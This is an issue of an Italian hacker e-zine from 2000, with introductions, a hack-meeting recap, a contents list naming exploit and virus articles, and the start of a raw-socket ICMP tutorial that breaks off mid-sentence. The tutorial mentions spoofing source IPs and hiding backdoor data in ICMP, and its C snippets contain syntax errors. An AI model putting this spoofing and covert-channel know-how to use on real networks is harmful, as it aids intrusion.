Copy Link
Add to Bookmark
Report

NewBies 6

eZine's profile picture
Published in 
NewBies
 · 21 Aug 2019

  


@-,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,-@
| _ _ ____ _ |
| | \ | | _____ _| __ )(_) ___ ___ |
-+- | \| |/ _ \ \ /\ / / _ \| |/ _ Y __|-+-
: | |\ | __/\ V V /| |_) | | __|__ \ :
| |_| \_|\___| \_/\_/ |____/|_|\___|___/ |
@-,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì'”,-@

NEW BIES (num 6) (data 23/06/Y2K)

[ powered By N0bodY88-ooo - Dante Alighieri ]
[ this numba is dedicated from N0bodY88 to smav - u'll be 4 ever in my heart ]
[ also from Dante Alighieri to: chi gli è lontanto ma vicino e chi gli è vicino
[ ma lontano....]

DISCLAIMER LEGALE
------------------------------------------------------------------------------
IL NEWBIES STAFF NON SI ASSUME NESSUNA RESPONSABILITA' X L'UTILIZZO DELLE
TECNICHE SOTTO RIPORTATE, LE QUALI SONO STATE DISTRIBUITE UNICAMENTE X
CONDIVIDERE LE CONOSCENZE DA NOI "ACUISITE" (mitico edu...) E PER CERCARE
QUALCUNO CON CUI CONFONTARE LE NS ESPERIENZE E LE CONOSCENZE X MIGLIORARE
VICENDEVOLMENTE.....DIVERTENDOSI! N0bodY88-ooo of NewBies Staff
------------------------------------------------------------------------------

DEDICHE LEGALI
------------------------------------------------------------------------------
Tutti i bro italiani e soprattutto di milano, tutti i fratelli Spp, tutta la
famiglia di NewBies e della HDE, tutti gli amici di #cacca #olografix #ahccc,
tutti i confratelli S0ftpj, Spaghetti Hackers, tutti i brotherz delle altre
e-zine italiane a cui (spero) diamo na mano a tenere alto ( ;) ) il nome della
liberta' e del fatto di pensare con la propria testa in italia, a tutti i
centri sociali, a tutti quelli che conosco e tutti quelli che conoscero'
all'hack-it ci si becca li' fratelli e...ricordatevi...niente cops tnx :D
N0bodY88-ooo of NewBies Staff & Spp Member
------------------------------------------------------------------------------

PREMESSA
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
Questa e-zine e' nata in una giornata qualsiasi di gennaio, mentre 2 newbies
stavano parlando tra loro in IRC di non mi ricordo cosa. Da quel fatidico
giorno la e-zine e' cresciuta, le persone che ho contattato x scrivere un
articolo mi hanno dato la loro disponibilita' e entro alcuni giorni mi hanno
fatto avere il loro operato. Alcune persone hanno fatto tardi x notti intere
(fra cui il sottoscritto) ed hanno sacrificato il loro tempo x creare qualcosa
che fosse nuovo, divertente, che ci facesse diventare + bravi, + amici, + uniti
e forse...beh...forse anche + famosi...hihihi! Questo e' quello che abbiamo
realizzato insieme, collaborando e scambiandoci opinioni. Se questa e-zine
non vi piace, e' troppo semplice o e' stupida non scriveteci (oppure scriveteci
x migliorare un art. della e-zine sfruttando le vostre conoscenze) ma se solo
sara' piaciuta ad una persona, se solo un ragazzo dopo aver letto questa avra'
deciso di passare a linux, di programmare in visual basic, di farsi una propria
backdoor o di mettersi a studiare come si usa telnet (troppo poco attrezzato di
voci nei menu x essere quello tanto decantato dovunque, ma anche troppo simpatico
con il suo prompt a mo di Commodore 64) allora questa e-zine sara' servita a
qualcosa. E ricordate...newbies si nasce, hacker si diventa.
Buona lettura ^__^ N0bodY88-ooo
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

INTRODUZIONE by N0bodY88-ooo

Salve a tutti e benvenuti a questa 6a puntata della avventura chiamata NewBies.
Purtroppo ci siamo lasciati Zerocool alle spalle xche' x sua decisione NewBies
non era alla sua altezza ma noi cmq proveremo ad andare avanti lo stesso magari
un po' piu' pazzi ;) ma andremo avanti.
Volevo salutare con questo num della e-zine Neuro e Wurzel neo papa' a cui
vanno i ns auguri. Un saluto speciale a Black Berry e al progetto HackLab che
sta portando avanti, alla ml spp, a fritz che da oggi odio xche' mi ha fatto
notare che c'e' un dos o un exploit contro il mio mail client preferitom (The
Bat) ;) (tranqui fritz al max ti frego Mayhem :P), a tutta la ml di NewBies
che (grazie a Vecna) ho ripreso a seguire. Che novita' ci sono? Be le scrivo
qui xche' mi e' stato detto che come scrivevo le news era troppo lungo e non
molto bello quindi vi avverto solo che BFI e' arrivata al num 8 e NetRunners
al numero 12. Un ultima cosa, date un okkiata ai link che ho aggiunto alla
sezione link e sappiatemi dire se vi piacciono. Si passa da un tipo strano di
nome Bub "creato" da quelli di Antionline sempre pronto a rispondere online
alle ns domande sulla sicurezza, per arrivare al sito della polizia dove
troverete i fatti visti dalla loro parte ;-)

Sperando di potere partecipare anke ai successivi numeri vi auguro una buona
lettura di questo 6ø numero e vi mando un saluto

Alla proxyma e byez a tutti N0bodY88-ooo

INTRODUZIONE-2 by Dante Alighieri

Innanzitutto vorrei chieder scusa a tutti quelli a cui ho dovuto dire di no
per il loro articolo, cmq..li inviterei ad aspettare il prox numero
(non bestemmiatemi subito per favore)...se il vostro articolo non compare
quì sotto..beh sorry :/ provvederò dal prox numero a darvi una risposta
certa dopo un paio di gg max dalla consegna affinchè le vostre aspettative
non vadano deluse :)
Tuttavia devo obbligatoriamente specificarvi un paio di cose: l'e-zine
si chiama "NewBies" non "Spazzatura" indi...non crediate che un vostro
qlc txt...magari con delle boiate pazzesche debba per forza essere pubblicato.
Ancora, non pensate che aver già scritto un articolo per la zine sia un
passaporto per far pubblicare tutte le altre vostre boiate e sopratutto
non pensate di far parte "della scena underground cyberpunk sticazzi digital
hack phreak di un paio di palle"
italiana solo perchè ci avete mandato
un articolo....
Poiiiiii........vorrei parlà del Nobo..caxxo il nobo ci lascia ragà!!
non scrive e non fa + il redattore per NB !! :°°°(
GRRRrrrrrrrrr.......fratè...t'ammazzerò!!! ti verrò a dare le fustigate
sulle chiappette! ma come cazpio faccio a mannà avanti la baracca senza di
te? uffff....... ci sarà MAX che mi aiuterà...ma il nobo è il nobooo !!!!
Novità delle novità by MAXXOLINO

Ciao amici ...
vorrei avere un attimo di attenzione ! (se possibile...cazzo sembro un prof)
Chi mi chiama ? Prof posso andare in bagno?
No per ora sto spiegando ... fattela addosso o altrimenti falla dentro lo zaino.
ehehehe :)

Bando alle ciance volevo sapere una cosa:
siete d'accordo ad aprire una sezione sull' hacking delle schede satellitari ?

Iniziando con la teoria,passiamo alla costruzione dello smartmouse ed arriviamo all'hack
vero e proprio !

Aspettiamo vostri pareri e consigli!
Questa idea mi è venuta in mente mentre leggebo bfi7 e pensavo che nessuna zine ha questi
tipi di sezione ... quindi newbie sarebbe la prima! Io penso che potrebbe essere una buona
iniziativa,ma a voi spetta la sentenza...l'ultima parola è data a voi lettori di newbie,quindi
pensateci bene!

Naturalmente chi volesse scrivere degli articoli per la new section li mandi a questo indirizzo :
newbiesat@hotmail.com

BREVI (?) COMMENTI RIGUARDANTI L'HACK-IT Y2K :)

1°Impressione: ammazza...ma che è sta maera di figa??? ahhaha..
molto mejo così ragà..na roba da paura... "nnna cifra" in giro per quei
loculi maledetti... hihihi :)
Per quei pochi di voi che non lo sanno ankora..l'hack meeting 2k s'è
svolto al Forte Prenestino a Roma..in pratica un vero Castello con tanto
di mura, fossato e catacombe!! hihihi...ed indovinate un pò dove ci hanno
sistemato?? NELLE CELLEEEEEE!!! Segno premonitorio o soltanto
uccellaci del malaugurio?? boh..non si saprà mai.. cmq..una cosa è certa:
il posto era davvero da sballo !!L'unica nota negativa erano i maledetti
sniffer..che giravano..non solo sui gateway..ma anke su una 60ina di pc
sotto la rete stessa......grrrr.....e vabbù la moda "Share the fun"...
e vabbù l'anarkia...e vabbù che le cose mie son le tue..ed il contrario..
ma prima di farmi fottere tutte le shell..ci penso 2 secondi no ? :)
Le persone coinvolte a sto meet son state davvero tantissime..
e molte di alto livello tecnico.. non mancava quasi nessuno...c'era buona
parte dei softpj, c'erano alcuni SPP (cazzo raga ma che fine avete
FATTO!?!??!?!?!?), c'era buona parte del nostro staff, "la crema"
dell'associazione culturale telematica "olografix" ed il LOA di Milano
(little Jhooon!!! :PPP, Letale Malattiaaaaaa).
La manifestazione di quest'anno ha visto la partecipazione anche di volti
noti come "Raul Chiesa" (spero si scriva così il suo nome) e Gomma sistematisi
rispettivamente uno nel loculo accanto al mio e l'altro sulla sedia accanto
alla mia :)....ragazzi...siete riusciti a fare dell'hacking uno strumento
commerciale...ma non siete "hacker" siete solo dei consulenti in sicurezza
informatica l'etica è una cosa...i soldi un'altra..sorry penso di avere un
punto di vista completamente diverso dal vostro :(. Non vi lamentate se sul
vostro monitor, sul prompt della shell, compaiono scritte strane di questo
genere: "fuck fuck fuck" o "posso provare a rootarti io la shell??", è proprio
quando si pensa di essere i migliori che si prendono le inculate + grosse.
(hijacking rulez)
Vabbè...una delle cose che penso avranno notato tutti all'hackit è la comparsa
di una strana scritta sulle mani..e su varie parti del corpo di tutta la gente.
Scritta identificatasi solo successivamente col nick di una strana bestiolina
bionda che si aggirava per i cunicoli furtivamente 24h su 24 e russava in modo
pauroso durante le conferenze (BWHAHAHAHAHAHAH).
Il male ed il demonio sono davvero fantasiosi nel presentarsi ogni volta
sotto forma diversa..a noi poveri dell'hackit c'è tokkata la SMAV !!!
Scherzo ovviamente :) e ne approfitto per rispondere alle migliaia di persone
che durante sti gg mi stanno ponendo sempre la stessa domanda:

Ma..t'ho visto andare in giro mano nella mano con la smavva...è la tua tipa????

Io vi rispondo in modo breve e conciso:

COSA CAZZO VI CAMBIA?? E COSA CAZZO VE NE FREGA A VOI ???? AHHAAHHHAAHHAHA.

Nel loculo 17 era poi piazzata una vera mandria (d'oh) c'erano i softpj,
Smilzo (fustacchione mio:*) ed in + MaYhEm & TheDuke (dukiiiiinooo!!)
che trasmettevano di continuo dalla loro radio (ns1.tdonline.net:8300).
Non scorderò mai i giri nei cunicoli abbracciato a MaYhEm (ubriaco frascico)
che parlando con un Australiano (?) gli ha augurato un "have a nice trip"
molto ambiguo :P.
Solo un'ultima precisazione...non m'è piaciuto sentirmi dire l'ultimo gg
da mia madre: Che beeellooo t'ho visto sul TG1 stamattina!!!
......che nervi....mi si è inacidito il sangue per un gg intero...
cazzo...avevamo detto niente telecamere :(((((
Vabbè...la pula non è ankora venuta a casa mai..per adesso sono ok :))) hhiihih
Rigà...vi auguro un'ottima lettura sperando sta zine ve gusti e che non
la stampiate per per il semplice gusto di tirarmela addosso :P
byez

Dante Alighieri
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º ARTICOLO ÌÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎ͹ AUTORE º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
|PREMESSA N0bodY88-ooo |
|INTRODUZIONE N0bodY88-ooo |
|INTRODUZIONE-2 DanteAlighieri |
|BREVI COMMENTI RIGUARDANTI L'HACK-IT Y2K DanteAlighieri |
|INFO SUGLI ALLEGATI N0bodY88-ooo |
|PROGRAMMAZIONE NewBies Staff |
³ INVIO DI PACCHETTI ICMP CON L'UTILIZZO DELLE RAW SOCKET |CyRaX| ³
³ RAW FOR DUMMIES hi]tech[ ³
³ THE GREAT SCRIPTING GUIDE Sikkolo ³
³ STREAM ON C++ hi]tech[ ³
³ TRASH BIN REMOVER [Requiem] ³
|CRITTOGRAFIA - MR. HIDE NewBies Staff |
³ LA PASSWORD DELLO SCREENSAVER DI WINDOWS JuxWell ³
|TEORIA NewBies Staff |
³ INTERNET PROTOCOL DanteAlighieri ³
³ " " & Cthulhu ³
³ IPIVUSEI Asynchro ³
³ RFC : QUESTE SCONOSCIUTE... Fake ³
³ ROUTER SIMULATOR LA FIGATA DEL 2000 :D N0bodY88-ooo ³
³ WANNA BE FLASH? USE THE CACHE... Dante Alighieri³
|CRACKING NewBies Staff |
³ CAMAGEDDON II - CARPOCALYPSE NOW cod ³
|TRADUZIONI NewBies Staff |
³ UN TRUCCO AL GIORNO GRAZIE A WWW.UGU.COM N0bodY88-ooo ³
³ NMAP MAN PAGE Veleno ³
|LE INTERVISTE E LE NOTTATE IMPOSSIBILI NewBies Staff |
³ INTERVISTA A UGO LAVIANO Dante Alighieri³
³ MEET DA SBALLO IN QUEL DI MI... N0bodY88-ooo ³
|PHREAKING NewBies Staff |
³ UN PO' DI NOVITAAAAAAAAAAAAA' Dante Alighieri³
³ PHREAKING ASSAULT [Requiem] & Jux³
|IL MONDO DI IRC NewBies Staff |
³ MUH : + O - UN IRC BOUNCER Fake ³
³ SE I VOSTRI BOT SI SENTONO SOLI....FATE LA BOTNETTA DanteAlighieri ³
|ELETTRONICA & FRIENDS NewBies Staff |
³ COME COSTRUIRSI UN CAVO CROSS-OVER Nitro The Demon³
³ INIEZIONE ELETTRONICA II JuxWell ³
³ QUALCHE CONSIGLIO SU COME FOTTERE LE MACCHINETTE DEL POKER SpIRIToZ ³
³ CARTE MAGNETICHE [Requiem] ³
³ OPEN SOURCE segnalatoci da MAXPIRATA |M4X| ³
|HACKING DI TUTTO DI PIU' E DIVERSI ART. MOLTO INTERESSANTI NewBies Staff |
³ COME SBLOCCARE LA POSSIBILITA DI MODIFICARE UN DB IN ACCESS97 Nitro The Demon³
³ MILLENIUM CGI BUG Dante & Cthulhu³
³ D.O.S. DISK OPERATING SYSTEM???????? NAAAAAAAAA SosPiro ³
³ SENDMAIL 5.6.5 EXPLOIT SPIEGATO SosPiro ³
³ UN BLOCCO DI TESTO INUTILE S2 ³
³ FTP BOUNCE MrTerminator ³
³ WINDOWS 9X... UN PO' DI TRUCCHI screener_it ³
³ MITICA MAIL DI TEX IN RISPOSTA AL LAMERINO DI TURNO Tex ³
³ IL METODO DEL FERRO DA STIRO |M4X| ³
|PROGRAMMAZIONE VIRALE NewBies Staff |
³ VIRUS PROGRAMMING (NOT SO BASIC) XaRaBaS ³
³ MELISSA VIRUS |m4x| ³
|DIVERTIMENTO CAZZATE SVAGO E QUANTO È O NON È POSSIBILE NewBies Staff |
³ D0LLS : VOODO2 E VOODO3...COSTRUIAMO UNA BAMBOLINA VOODO2 smav ³
³ KOKAKOFFEE.... Dark-Elf & smav³
|SALUTI NewBies Staff |
|THIS NUMBA IS DEDICATED BY N0bodY88-ooo & DanteAlighieri TO: OurSeLf! |
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

*** = gli articoli seguiti dai precedenti 3 asterischi sono allegati nello zip
della e-zine a causa della loro diversa natura dal normale txt (es: il
caso del doc sui gsm di Nick1 che e' in .pdf leggibile tramite il prog
Acrobat Reader) mentre in altri casi anke se si poteva convertire in
txt e' stato scelto di lasciare il file cosi' come era (es: la guida
di html di Firebeam in .html ). E questo e' quanto ;)

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ RIEPILOGO LINK IN ORDINE ALFABETICO ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

[ Anarchy in the system ---------------------------> http://aisprod.tsx.org ]
[ Ask Bub ------------------------------------------> http://www.askbub.com ]
[ Attila Hack ------------------------------> http://www.attilahack.cjb.net ]
[ Crypto -----------------------------------------------> http://kz.cjb.net ]
[ BFI ------------------------------------------> http://www.s0ftpj.org/bfi ]
[ Deandreis --------------------------------------> http://www.deandreis.it ]
[ Dislessici -----------------------------------> http://www.dislessici.org ]
[ Lord Guf --------------------------------------------> http://guf.cjb.net ]
[ Metro Olografix -------------------------------> http://www.olografix.org ]
[ NetRunners -----------------> http://www.spippolatori.com/h/netrunner.htm ]
[ Polizia --> http://www.poliziastato.it/informatica/6%20-%20Operazioni.htm ]
[ Quequero ---------------------------------------> http://quequero.cjb.net ]
[ RFC (sito dove le potete trovare) ------------> http://www.faqs.org/rfcs/ ]
[ RingZ3rO ---------------------------------------> http://ringzer0.cjb.net ]
[ RouterSimulator -------------------------> http://www.routersimulator.com ]
[ Softpj -------------------------------------------> http://www.s0ftpj.org ]
[ SoftWord -----------------------------------> http://softword.webjump.com ]
[ Spaghetti Phreakers -----------------> http://come.to/spaghettiphreakers/ ]
[ Spippolatori -------------------------------> http://www.spippolatori.com ]
[ T0rment0 -------------------------------> http://web.interpuntonet.it/xj/ ]
[ Vana - Imago -----------------> http://members.xoom.com/eripper/index.htm ]
[ Valvoline -------------------------------------> http://valvoline.cjb.net ]
[ Wannabe ----------------------------------> http://www.attilahack.cjb.net ]

NOTA DI N0bodY88 = Se volete che il nome della vs crew con l'url del vs sito
sia presente nella soprascritta tabella basta che ce lo
comunichiate e sara' fatto sia x siti newbies che x siti
di hacking.

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°°°°°°°°°°°°ÛÛ°°°°ÛÛ°°°°ÛÛÛÛ°°ÛÛÛÛÛÛÛ°°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛÛ°Û°°°°°°°°°°²
²°°°°°°°°°°°ÛÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°°°°°°ÛÛÛ°°°°°°ÛÛÛ°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°ÛÛ²ÛÛ°°°ÛÛ°°°°ÛÛ°°°°ÛÛÛÛ°°ÛÛ°ÛÛÛÛ°°°ÛÛ²ÛÛ°°°°°ÛÛÛ°°°°ÛÛÛ°°°°°°°°°°²
²°°°°°°°°°ÛÛÛÛÛÛÛ°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°ÛÛ°°ÛÛÛÛÛÛÛ°°°°ÛÛÛ°°°°ÛÛÛ°°°°°°°°°°²
²°°°°°°°°ÛÛ°°°°°ÛÛ°ÛÛÛÛÛ°ÛÛÛÛÛ°ÛÛÛÛ°°ÛÛÛÛÛÛÛ°ÛÛ°°°°°ÛÛ°°°ÛÛÛ°°°°ÛÛÛ°°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

3 PAROLINE SUGLI ALLEGATI:

- cillotta.jpg = bellissima cillotta fatta da smav mentre io (N0bo) fumavo
qualke pacchetto di Pall Mall :D Chi ha il coraggio di non
guardarla stia attento ai vari, kox, kod, pimp e chi piu' ne
ha ne metta :P

- crypt.cc-by-avogrado.zip = programmino buttato giu' al volo x essere messo
almeno come beta in questo num di NewBies dal
ns collaboratore Avogrado. Ps: crittografia?
Scopritelo :P

- manuale_c.zip = mega manuale scritto da Maxipirata straultracompleto sul c,
una vera bibbia che non puo' mancare nella libreria del
coder newbies e in quella del coder ormai "collaudato".
Colgo l'occasione x mandare un grosso tnx a Maxipirata x
questo suo imo ottimo lavoro che aiutera' non poca gente
che non aspetta altro che un buon manuale x cominciare a
programmare seriamente.

- dec-bin-hex.zip = sorgente c della Calcoltarice decimale, binaria e
esadecimale di [Requiem]

- compiler_helper.zip = sorgente c del Compiler Helper di [Requiem]

- rim_beta.zip = sorgente in script di shell del Trash Bin Remover di
[Requiem]

- muh-2.0.4.tar.gz = irc bouncer di cui Fake parla ampiamente nel suo articolo

- card_reader.zip = prog in pascal x il lettore di carte magnetiche di cui
[Requiem] parla nel suo articolo.

- coltivala.zip = tre immagini che vanno viste durante la lettura dell'artico
lo dall'omonimo titolo "Coltivala" del ns contadino Spiritoz
ps: tutti a casa di Spiritoz a...fare festa ;) eheheh

- cookbook.zip = pagina creata all'unico scopo di facilitare la lettura del
cookbook di avatar! Sei un mito!!!

- dos.zip = articolo in formato word sui dos dal grande SosPiro!!!

- send5.6.5.zip = spiegazione dell'exploit x sendmail 5.6.5, un po' vecchiotto
ma puo' sempre tornare utile :D

- Poesie by DjPulce.doc = poesie di djpulce veramente belle x anime perse
come la mia (ndN0bo)...

- Nmap network security scanner man page = la pagina del man di nmap tradotta
dal mitico Gilberto Ficara.

...e anke in questo numero un txt dal nome strano...

- NewBies6.txt = secondo voi che sara? ;-)

N0bodY88-ooo

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°ÛÛÛ°ÛÛÛ°ÛÛÛ°ÛÛÛÛ°ÛÛÛ°°°°°Û°°°°°ÛÛ°°°ÛÛÛÛ°°°ÛÛ°°°°°Û°°°°°ÛÛÛ°Û°ÛÛÛ°ÛÛ°°Û°ÛÛ°²
²°Û°Û°Û°Û°Û°Û°Û°°°°Û°Û°°°°ÛÛÛ°°°°Û°Û°Û°ÛÛ°Û°Û°Û°°°°ÛÛÛ°°°°°°Û°Û°Û°Û°Û°Û°Û°Û°°²
²°ÛÛÛ°ÛÛÛ°Û°Û°Û°ÛÛ°ÛÛÛ°°°ÛÛ°ÛÛ°°°Û°°Û°°ÛÛ°°Û°°Û°°°ÛÛ°ÛÛ°°°°Û°°Û°Û°Û°Û°°ÛÛ°ÛÛ°²
²°Û°°°ÛÛ°°Û°Û°Û°°Û°ÛÛ°°°ÛÛÛÛÛÛÛ°°Û°°°°°ÛÛ°°°°°Û°°ÛÛÛÛÛÛÛ°°Û°°°Û°Û°Û°Û°°°Û°Û°°²
²°Û°°°Û°Û°ÛÛÛ°ÛÛÛÛ°Û°Û°ÛÛ°°°°°ÛÛ°Û°°°°°ÛÛ°°°°°Û°ÛÛ°°°°°ÛÛ°ÛÛÛ°Û°ÛÛÛ°Û°°°Û°ÛÛ°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ INVIO DI PACCHETTI ICMP CON L'UTILIZZO DELLE RAW SOCKET by |CyRaX| ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Cosumo : Una decina di diana blu + 3 ms (puah.. almeno costano poco :)
Svariati torroncini.
Una coca cola.
Musica : "Lunchbox" by Marilyn Manson
"Celebrity Skin" by Hole
"Otherside" by R.H.C.P.
Thanks : La mia compagna di classe ke mi ha prestato i soldi per le sigarette
B_Berry : per consigli vari e per avermi passato il netbsd
Tutti gli amici dell'hacklab
[-JoKeR-] e tutti gli amici avatar
N0b0dy88 : per aver fatto una buon zine in cui anke quelli come
me possono scrivere :)
\x80, capotribu, ska-man, smk e tutti gli amici di #programmazione
mav, goemon, fuzzo, fda, redevil e tutti gli amici di #simpson
e poi Peter_and ^eagle1^
Fucks to : La mia prof di disegno ke mi ha mollato un altro 4 :((
Il mio prof di italiano ke mi ha mollato un altro 5 :(((
La mia prof di storia ke mi mette 5 in pagella :((((
(ke dite.. quest'anno mi segano ? :PP)

Oky.. dopo le kazzate cominciamo :)

Premessa :
Questo articolo e' di base e non vi fara' diventare degli dei delle raw
socket. Per comprendere il codice e' necessaria una conoscenza di base di c
e dell'uso dei socket (su newbies 5 c'era un articolo relativo all'uso dei
socket in win ma per quelli base non cambia molto). Serve anke una conoscenza
di base sul protocollo tcp/ip e icmp (dato ke in questo caso utilizzeremo le
raw socket per questo protocollo).

Premessa sui raw socket :
I socket raw sono dei socket in cui noi possiamo (anzi dobbiamo :P) crearci da
soli i pakketti ip da inviare. L'utilizzo dei raw socket e' possibile (o
almeno dovrebbe) in tutti i sistemi operativi compatibili posix (tutti gli
unix). L'utilizzo dei socket raw e' disponibile solo al root. Dato ke siamo
noi a creare l'intero pakketto ip possiamo anke modificare l'ip sorgente in
modo da mandare un pakketto spoofato.

Allora.. innanzitutto ci servono degli header ke contengano le strutture di
un pakketto ip e di un pakketto icmp quindi :
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
(ovviamente vi servono anke tutti gli altri header ke servono normalmente
ai socket)

ora.. creiamo dei puntatori a queste struttuture e un puntatore a una stringa

struct ip *pip;
struct icmp *picmp
char *packet;

poi ci serve una struttura sockaddr_in da usare con la sendto in cui metteremo
il nostro indirizzo ip.

..
struct sockaddr_in from;
..
from.sin_addr=inet_addr("127.0.0.1");
from.sin_family=AF_INET;

bene.. creiamoci un socket raw
sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);

se il programma non viene eseguito da root (o con suid 0) la socket dara'
un -1 in risposta

oky.. ora creiamoci un posticino in memoria dove tenere il pakketto
con la malloc. Quanto spazio ci serve? Ci serve uno spazio pari alla somma di
una struttura ip, una struttura icmp, + lo spazio per i dati icmp (quanto
vogliamo.. in questo caso mettiamo 64)
packet=malloc(sizeof(struct ip)+sizeof(struct icmp)+64;

bene.. dato ke la malloc non pulisce la memoria ke ci da riempiamola di zeri
noi com la memset
memset(packet,0,sizeof(struct ip)+sizeof(struct icmp)+64;

perfetto.. ora il nostro scopo e' fare in modo ke packet contenga una
struttura ip e una icmp quindi facciamo in modo ke pip punti all'inizio della
memoria di packet e ke picmp punti alla zona di memoria compresa in packet
ke si trova subito dopo pip. Non avete capito un kazzo ? oky.. provo con uno
schemetto..

Immagine ke questo segmentino sia la zona di memoria ke ci siamo fatti
assegnare con la malloc per packet.
- pip punta alla prima parte per una lunghezza pari a una struttura ip
- picmp punta alla seconda parte per una lunghezza pari a una struttura icmp
- 64 byte rimangono vuoti (costituiscono la parte icmpdata).. se avete
intenzione di scrivere una backdoor ke lavori su icmp (vedi la 007Shell di
Fusys) potete mettere i dati ke volete inviare in questa zona (a cui potete
